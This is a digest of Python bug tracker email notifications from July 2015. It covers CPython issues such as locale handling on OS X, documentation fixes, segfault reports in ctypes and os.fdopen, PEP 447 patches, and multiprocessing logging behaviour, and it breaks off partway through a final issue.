_______________________________________

From report at bugs.python.org  Sat Jul 25 10:27:05 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Sat, 25 Jul 2015 08:27:05 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437812825.58.0.214465047778.issue18378@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

ping...

I think the current behavior is a bug in Python and should be fixed in 2.7, 3.4, 3.5 and default (using Dmitry's patch). 

I'd like to commit the patch, but would like someone else's review of the patch before doing so.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 10:49:06 2015
From: report at bugs.python.org (Petr Viktorin)
Date: Sat, 25 Jul 2015 08:49:06 +0000
Subject: [issue24713] Import docs reference the deprecated imp.reload
Message-ID: <1437814146.48.0.230121728687.issue24713@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

In 3.4, `imp.reload` was deprecated in favor of `importlib.reload`.

https://docs.python.org/3/library/imp.html

----------
assignee: docs at python
components: Documentation
files: docs.patch
keywords: patch
messages: 247319
nosy: docs at python, encukou, eric.araujo, ezio.melotti, georg.brandl
priority: normal
severity: normal
status: open
title: Import docs reference the deprecated imp.reload
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40011/docs.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:11:39 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 25 Jul 2015 09:11:39 +0000
Subject: [issue14373] C implementation of functools.lru_cache
In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za>
Message-ID: <20150725091137.8494.72199@psf.io>


Roundup Robot added the comment:

New changeset 5345e5ce2eed by Serhiy Storchaka in branch '3.5':
Issue #14373: Fixed segmentation fault when gc.collect() is called during
https://hg.python.org/cpython/rev/5345e5ce2eed

New changeset 9c6d11d22801 by Serhiy Storchaka in branch 'default':
Issue #14373: Fixed segmentation fault when gc.collect() is called during
https://hg.python.org/cpython/rev/9c6d11d22801

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:13:21 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 09:13:21 +0000
Subject: [issue14373] C implementation of functools.lru_cache
In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za>
Message-ID: <1437815601.54.0.514695184153.issue14373@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you Ned.

Is anything left to do with this issue or it can be closed?

----------
priority: release blocker -> normal
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:14:21 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 09:14:21 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437815661.51.0.795418476238.issue18378@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +serhiy.storchaka
versions: +Python 3.5, Python 3.6 -Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:22:42 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 09:22:42 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437816162.34.0.420753369462.issue18378@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Needed tests.

With the patch:

$ LC_CTYPE=UTF-8 ./python
>>> import locale
>>> locale.getdefaultlocale()
(None, 'UTF-8')
>>> locale.getpreferredencoding()
'ANSI_X3.4-1968'
>>> locale.getlocale()
(None, None)

$ LC_CTYPE=en_US_UTF-8 ./python
>>> import locale
>>> locale.getdefaultlocale()
('en_US', 'UTF-8')
>>> locale.getpreferredencoding()
'UTF-8'
>>> locale.getlocale()
('en_US', 'UTF-8')

I think getpreferredencoding() and getlocale() should return the UTF-8 encoding.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:29:56 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Sat, 25 Jul 2015 09:29:56 +0000
Subject: [issue18181] PEP447: Add type.__getdescriptor__
In-Reply-To: <1370870153.93.0.646087371852.issue18181@psf.upfronthosting.co.za>
Message-ID: <1437816596.85.0.918526839123.issue18181@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

I've attached a new version of the patch (pep447-2015-07-25.txt). Changes in this version of the patch:

1) Works with the current trunk (as in "all tests pass")

2) Types in C must explicitly set Py_TPFLAGS_GETDESCRIPTOR in tp_flags to 
   enable the tp_getdescriptor slot. 

   This is primarily done avoid crashing when loading a C extension for
   older CPython versions (even if that's not guaranteed to work anyway).

The PEP needs to be updated for the second change, that's next on my list.

----------
Added file: http://bugs.python.org/file40012/pep447-2015-07-25.txt

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:34:05 2015
From: report at bugs.python.org (Biwin John)
Date: Sat, 25 Jul 2015 09:34:05 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
In-Reply-To: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>
Message-ID: <1437816845.41.0.639978143894.issue24712@psf.upfronthosting.co.za>


Biwin John added the comment:

The problem exist with the Chrome on Ubuntu, Windows and OSX, but ony with the python docs for version 2.7.

Docs for 2.6 use the same sidebar.

But in 2.7 docs, the content of sidebar is positioned with the style added on scroll,

style="float: left; margin-right: 0px; width: 202px; top: 13px;"

The top value is calculated on scroll, the same code works with FireFox without any problem.

So it might be the way chrome handles the change in values. And we must workaround with our code than waiting for Chrome to get fixed.

Needs to be fixed as, 2.7 is the most used version, comes default with most distros and chrome is the most used browser (50.25% of all)[https://en.wikipedia.org/wiki/Usage_share_of_web_browsers]

Recommendations:
1. Change the sidebar behavior to the 2.6 docs sidebar one.(default top value, users can scroll up to see the content)
or.
2. Make the sidebar position:fixed and provide a inner scroll bar.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:40:48 2015
From: report at bugs.python.org (Michael Toews)
Date: Sat, 25 Jul 2015 09:40:48 +0000
Subject: [issue24714] Crash with string_at(None)
Message-ID: <1437817248.82.0.300387784193.issue24714@psf.upfronthosting.co.za>


New submission from Michael Toews:

On Debian x64 stable with Python 2.7 and 3.4, the following causes a segmentation fault:

from ctypes import string_at
string_at(None)

On Windows 64-bit with Python 2.7 it raises WindowsError and Python 3.3 raises OSError, both showing a message "access violation reading 0x0000000000000000", but it does not crash.

The above behavior was found when reading a result from a C API that can be either a zero-terminated string or NULL.

----------
components: ctypes
messages: 247325
nosy: mwtoews
priority: normal
severity: normal
status: open
title: Crash with string_at(None)
type: crash
versions: Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:46:48 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 09:46:48 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437817608.1.0.88262206119.issue18378@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Perhaps the better way to solve this issue is to use aliases table. What is the LC_CTYPE environment variable set when the default language set to non-English? How different native MacOS X command-line programs behave when set LC_CTYPE to other encoding (e.g. ASCII, US-ASCII, ISO8859-1, ISO-8859-1, Latin1)? What if set it to UTF8 (no minus) or utf-8 (lower case)?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:49:05 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 09:49:05 +0000
Subject: [issue24714] Crash with string_at(None)
In-Reply-To: <1437817248.82.0.300387784193.issue24714@psf.upfronthosting.co.za>
Message-ID: <1437817745.24.0.0176866794177.issue24714@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +amaury.forgeotdarc, belopolsky, meador.inge
versions: +Python 3.5, Python 3.6 -Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:49:51 2015
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 25 Jul 2015 09:49:51 +0000
Subject: [issue24714] Crash with string_at(None)
In-Reply-To: <1437817248.82.0.300387784193.issue24714@psf.upfronthosting.co.za>
Message-ID: <1437817791.37.0.51239256466.issue24714@psf.upfronthosting.co.za>


STINNER Victor added the comment:

ctypes gives you a raw access to the memory. If you try to read unmapped memory areas, the program may or may not crash. Usually, you get a segmentation fault.

https://en.wikipedia.org/wiki/Segmentation_fault

Python doesn't provide a portable behaviour on segmentation faults.

Note: You can use faulthandler to get the backtrace on segmentation fault.

----------
nosy: +haypo
resolution:  -> not a bug

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:50:01 2015
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 25 Jul 2015 09:50:01 +0000
Subject: [issue24714] Crash with string_at(None)
In-Reply-To: <1437817248.82.0.300387784193.issue24714@psf.upfronthosting.co.za>
Message-ID: <1437817801.53.0.282086917811.issue24714@psf.upfronthosting.co.za>


Changes by STINNER Victor :


----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:51:11 2015
From: report at bugs.python.org (Jakub Wilk)
Date: Sat, 25 Jul 2015 09:51:11 +0000
Subject: [issue24715] Sorting HOW TO: bad example for reverse sort stability
Message-ID: <1437817871.39.0.0442628081402.issue24715@psf.upfronthosting.co.za>


New submission from Jakub Wilk:

https://docs.python.org/3/howto/sorting.html#odd-and-ends gives the following example for reverse sort stability:

>>> data = [('red', 1), ('blue', 1), ('red', 2), ('blue', 2)]
>>> assert sorted(data, reverse=True) == list(reversed(sorted(reversed(data))))

But here all the keys are different, so the result would be the same even if the sort algorithm weren't stable.

You probably wanted to pass to key=itemgetter(0) to both sorted() calls.

----------
assignee: docs at python
components: Documentation
messages: 247328
nosy: docs at python, jwilk
priority: normal
severity: normal
status: open
title: Sorting HOW TO: bad example for reverse sort stability

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:57:50 2015
From: report at bugs.python.org (Thomas Krijnen)
Date: Sat, 25 Jul 2015 09:57:50 +0000
Subject: [issue24716] Multiple fdopen() on mkstemp() descriptor crashes py27
 interpreter
Message-ID: <1437818270.81.0.932913299447.issue24716@psf.upfronthosting.co.za>


New submission from Thomas Krijnen:

Following code crashes my Python 2.7.9 interpreter on Windows:

import os, tempfile
a, b = tempfile.mkstemp()
f = os.fdopen(a, "wb")
f = os.fdopen(a, "wb")
f.write("beer")
f.close()

----------
components: Windows
messages: 247329
nosy: Thomas Krijnen, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Multiple fdopen() on mkstemp() descriptor crashes py27 interpreter
type: crash
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 11:58:56 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Sat, 25 Jul 2015 09:58:56 +0000
Subject: [issue18181] PEP447: Add type.__getdescriptor__
In-Reply-To: <1370870153.93.0.646087371852.issue18181@psf.upfronthosting.co.za>
Message-ID: <1437818336.06.0.252130372043.issue18181@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The attached micro benchmark indicates that method_cache in typeobject.c isn't used when using my patch. I'll have too look into that.

Other than that benchmarks results look OK (but: not using the method_cache is unacceptable as this most definitely changes performance).

What is kind of scary, but is to be expected I guess, is that a __getdescriptor__ method in Python is awfully slow.  I have to look into why this is slow, as the slowdown for using Python is significantly worse than I expected.

----------
Added file: http://bugs.python.org/file40013/pep447-micro-bench.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:03:20 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 10:03:20 +0000
Subject: [issue24716] Multiple fdopen() on mkstemp() descriptor crashes py27
 interpreter
In-Reply-To: <1437818270.81.0.932913299447.issue24716@psf.upfronthosting.co.za>
Message-ID: <1437818600.56.0.951860209264.issue24716@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +haypo

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:03:59 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 25 Jul 2015 10:03:59 +0000
Subject: [issue24713] Import docs reference the deprecated imp.reload
In-Reply-To: <1437814146.48.0.230121728687.issue24713@psf.upfronthosting.co.za>
Message-ID: <20150725100355.113890.17015@psf.io>


Roundup Robot added the comment:

New changeset 6c713dcce26a by Berker Peksag in branch '3.4':
Issue #24713: Use importlib.reload() in import reference document.
https://hg.python.org/cpython/rev/6c713dcce26a

New changeset afb12ebd96df by Berker Peksag in branch '3.5':
Issue #24713: Use importlib.reload() in import reference document.
https://hg.python.org/cpython/rev/afb12ebd96df

New changeset 5fb7d3238248 by Berker Peksag in branch 'default':
Issue #24713: Use importlib.reload() in import reference document.
https://hg.python.org/cpython/rev/5fb7d3238248

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:06:43 2015
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 25 Jul 2015 10:06:43 +0000
Subject: [issue24713] Import docs reference the deprecated imp.reload
In-Reply-To: <1437814146.48.0.230121728687.issue24713@psf.upfronthosting.co.za>
Message-ID: <1437818803.82.0.94904200845.issue24713@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report and the patch, Petr.

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:12:30 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Sat, 25 Jul 2015 10:12:30 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437819150.31.0.662150158736.issue18378@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The only locale that doesn't include language information is the UTF-8 one, there is no locale named "US-ASCII".

See /usr/share/locale on an OSX system.

PS. The more I look at locale.py the more problems I find with it. The code makes a unwarranted assumptions about locales that aren't actually true on all systems.

For example:

>>> locale.normalize('ja_JP')
'ja_JP.eucJP'


That's not true on OSX, /usr/share/locale/ja_JP/LC_CTYPE is a symlink to /usr/share/locale/UTF-8/LC_CTYPE.

AFAIK *all* locale's on OSX use UTF-8.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:14:20 2015
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 25 Jul 2015 10:14:20 +0000
Subject: [issue2091] file accepts 'rU+' as a mode
In-Reply-To: <1202856909.89.0.801927341292.issue2091@psf.upfronthosting.co.za>
Message-ID: <1437819260.54.0.660659713778.issue2091@psf.upfronthosting.co.za>


Larry Hastings added the comment:

Yeah, considering how long this bug has been sitting around, I think we can wait for one more release for the fix.  3.6 please.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:16:19 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Sat, 25 Jul 2015 10:16:19 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1437819379.51.0.92166422513.issue18378@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The alias mechanism cannot be used because LC_CTYPE=UTF-8 as the locale doesn't imply anything about languages. 

In Linux terms it is more or less equal to "C.UTF-8" or "POSIX.UTF-8", except that those two aren't valid locales on OSX.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:29:10 2015
From: report at bugs.python.org (eric)
Date: Sat, 25 Jul 2015 10:29:10 +0000
Subject: [issue24717] python logging handler not used when added after a
 process is started
Message-ID: <1437820150.2.0.817154151105.issue24717@psf.upfronthosting.co.za>


New submission from eric:

If I have interpreted the python3 documentation correctly, regardless of where I add the handler to the root logger, my log messages from within a Process should be sent to a file. However, this is not the case.

Here is a complete program which demonstrates the problem:

import logging
import logging.handlers

from multiprocessing import Process
from time import sleep

fileHandler = logging.FileHandler( 'mylog.log' )
fileHandler.setLevel( 5 )

logger = logging.getLogger( None )

def process_logger():

    print( "process waiting" )
    sleep( 5 )
    print( 'process start' )

    logger = logging.getLogger( None )

    for num in range( 1, 10 ):
        logger.critical( "critical: %d" % num )
        sleep(1)

#
# if this is where the handler is added, the critical messages
# will go to the file
#
logger.addHandler( fileHandler )

processLogger = Process( target=process_logger )
processLogger.start()

#
# if this is where the handler is added, the critical messages
# will not go to the file.
#
#logger.addHandler( fileHandler )

print( "started" )

I am using python 3.4.3 on OS X 10.10.4.

My guess as to why this does not work is that when I start the Process, it makes a copy of the current environment and if the handler has not been added by that time, the environment the Process is running in won't have it.

I have three questions:

Why do my messages not always end up in the file regardless of where I call logger.addHandler?

Should my messages always end up in the file?

If they should not, what is the best solution to the general problem of needed to manipulate handlers after a Process has been started?

----------
components: Extension Modules
messages: 247336
nosy: ericg97477
priority: normal
severity: normal
status: open
title: python logging handler not used when added after a process is started
versions: Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 12:40:59 2015
From: report at bugs.python.org (Daniel Pope)
Date: Sat, 25 Jul 2015 10:40:59 +0000
Subject: [issue24718] Specify interpreter when running in IDLE
Message-ID: <1437820859.91.0.219785167704.issue24718@psf.upfronthosting.co.za>


New submission from Daniel Pope:

I maintain a library called Pygame Zero which allows beginner programmers to start writing games without lines of boilerplate importing libraries, creating event loops and so on.

To support these features, Pygame Zero provides the 'pgzrun' command:

    pgzrun